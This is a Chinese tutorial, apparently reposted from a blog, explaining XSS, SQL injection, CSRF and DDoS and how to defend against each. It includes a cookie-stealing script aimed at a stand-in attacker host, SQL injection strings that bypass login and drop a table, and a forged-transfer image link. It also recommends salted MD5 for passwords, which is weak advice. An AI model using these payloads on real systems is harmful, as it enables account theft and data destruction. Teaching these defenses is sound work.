總結幾種常見web攻擊手段及其防護方式

本文簡單介紹幾種常見的攻擊手段及其防護方式

  • XSS(跨站腳本攻擊)
  • CSRF(跨站請求僞造)
  • SQL注入
  • DDOS

web安全系列目錄

XSS

概念

  • 全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意腳本程序。

案列

  • 好比說我寫了一個博客網站,而後攻擊者在上面發佈了一個文章,內容是這樣的 <script>window.open(「www.gongji.com?param=」+document.cookie)</script>,若是我沒有對他的內容進行處理,直接存儲到數據庫,那麼下一次當其餘用戶訪問他的這篇文章的時候,服務器從數據庫讀取後而後響應給客戶端,瀏覽器執行了這段腳本,而後就把該用戶的cookie發送到攻擊者的服務器了。

被攻擊的緣由

  • 用戶輸入的數據變成了代碼,好比說上面的<script>,應該只是字符串卻有了代碼的做用。

預防

  • 將輸入的數據進行轉義處理,好比說講 < 轉義成&lt;

SQL注入

概念

  • 經過sql命令假裝成正常的http請求參數,傳遞到服務器端,服務器執行sql命令形成對數據庫進行攻擊

案例

  • ' or '1'= '1。這是最多見的sql注入攻擊,當咱們輸如用戶名 jiajun ,而後密碼輸如'or '1'= '1的時候,咱們在查詢用戶名和密碼是否正確的時候,原本要執行的是select * from user where username='' and password='',通過參數拼接後,會執行sql語句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,天然就跳過驗證了。
  • 可是若是再嚴重一點,密碼輸如的是';drop table user;--,那麼sql命令爲select * from user where username='jiajun' and password='';drop table user;--' 這個時候咱們就直接把這個表給刪除了

被攻擊的緣由

  • sql語句僞造參數,而後在對參數進行拼接的後造成破壞性的sql語句,最後致使數據庫受到攻擊

預防

  • 在java中,咱們可使用預編譯語句(PreparedStatement),這樣的話即便咱們使用sql語句僞形成參數,到了服務端的時候,這個僞造sql語句的參數也只是簡單的字符,並不能起到攻擊的做用。
  • 不少orm框架已經能夠對參數進行轉義
  • 作最壞的打算,即便被’拖庫‘('脫褲,數據庫泄露')。數據庫中密碼不該明文存儲的,能夠對密碼使用md5進行加密,爲了加大破解成本,因此能夠採用加鹽的(數據庫存儲用戶名,鹽(隨機字符長),md5後的密文)方式。

CSRF

概念

  • 全稱是跨站請求僞造(cross site request forgery),指經過假裝成受信任用戶的進行訪問,通俗的講就是說我訪問了A網站,而後cookie存在了瀏覽器,而後我又訪問了一個流氓網站,不當心點了流氓網站一個連接(向A發送請求),這個時候流氓網站利用了個人身份對A進行了訪問。

案列

  • 這個例子可能現實中不會存在,可是攻擊的方式是同樣的。好比說我登陸了A銀行網站,而後我又訪問了室友給的一個流氓網站,而後點了裏面的一個連接 www.A.com/transfer?account=666&money=10000,那麼這個時候極可能我就向帳號爲666的人轉了1w軟妹幣
  • 注意這個攻擊方式不必定是我點了這個連接,也能夠是這個網站裏面一些資源請求指向了這個轉帳連接,好比說一個<img src="http://www.A.com/transfer?account=666&money=10000">

被攻擊的緣由

  • 用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,而後僞造用戶發出請求

預防

  • 之因此被攻擊是由於攻擊者利用了存儲在瀏覽器用於用戶認證的cookie,那麼若是咱們不用cookie來驗證不就能夠預防了。因此咱們能夠採用token(不存儲於瀏覽器)認證。
  • 經過referer識別,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,通常會帶上Referer,告訴服務器我是從哪一個頁面連接過來的,服務器基此能夠得到一些信息用於處理。那麼這樣的話,咱們必須登陸銀行A網站才能進行轉帳了。

DDOS

概念

  • 分佈式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的,能夠通俗理解,dos是單挑,而ddos是羣毆,由於現代技術的發展,dos攻擊的殺傷力下降,因此出現了DDOS,攻擊者藉助公共網絡,將大數量的計算機設備聯合起來,向一個或多個目標進行攻擊。

案例

  • SYN Flood ,簡單說一下tcp三次握手,客戶端先服務器發出請求,請求創建鏈接,而後服務器返回一個報文,代表請求以被接受,而後客戶端也會返回一個報文,最後創建鏈接。那麼若是有這麼一種狀況,攻擊者僞造ip地址,發出報文給服務器請求鏈接,這個時候服務器接受到了,根據tcp三次握手的規則,服務器也要回應一個報文,但是這個ip是僞造的,報文迴應給誰呢,第二次握手出現錯誤,第三次天然也就不能順利進行了,這個時候服務器收不到第三次握手時客戶端發出的報文,又再重複第二次握手的操做。若是攻擊者僞造了大量的ip地址併發出請求,這個時候服務器將維護一個很是大的半鏈接等待列表,佔用了大量的資源,最後服務器癱瘓。
  • CC攻擊,在應用層http協議上發起攻擊,模擬正經常使用戶發送大量請求直到該網站拒絕服務爲止。

被攻擊的緣由

  • 服務器帶寬不足,不能擋住攻擊者的攻擊流量

預防

  • 最直接的方法增長帶寬。可是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費不少錢,但對於服務器來講,帶寬很是昂貴。
  • 雲服務提供商有本身的一套完整DDoS解決方案,而且能提供豐富的帶寬資源

總結

  • 上面一共提到了4中攻擊方式,分別是xss攻擊(關鍵是腳本,利用惡意腳本發起攻擊),CSRF攻擊(關鍵是藉助本地cookie進行認證,僞造發送請求),SQL注入(關鍵是經過用sql語句僞造參數發出攻擊),DDOS攻擊(關鍵是經過手段發出大量請求,最後令服務器崩潰)
  • 之因此攻擊者能成功攻擊,用戶操做是一個緣由,服務器端沒有作好防護是一個問題,由於沒法控制用戶的操做,因此須要咱們服務器端的開發作好防護。
  • 沒有以爲絕對安全,只要更安全。

轉自: http://www.cnblogs.com/-new/p/7135814.htmlhtml

相關文章
相關標籤/搜索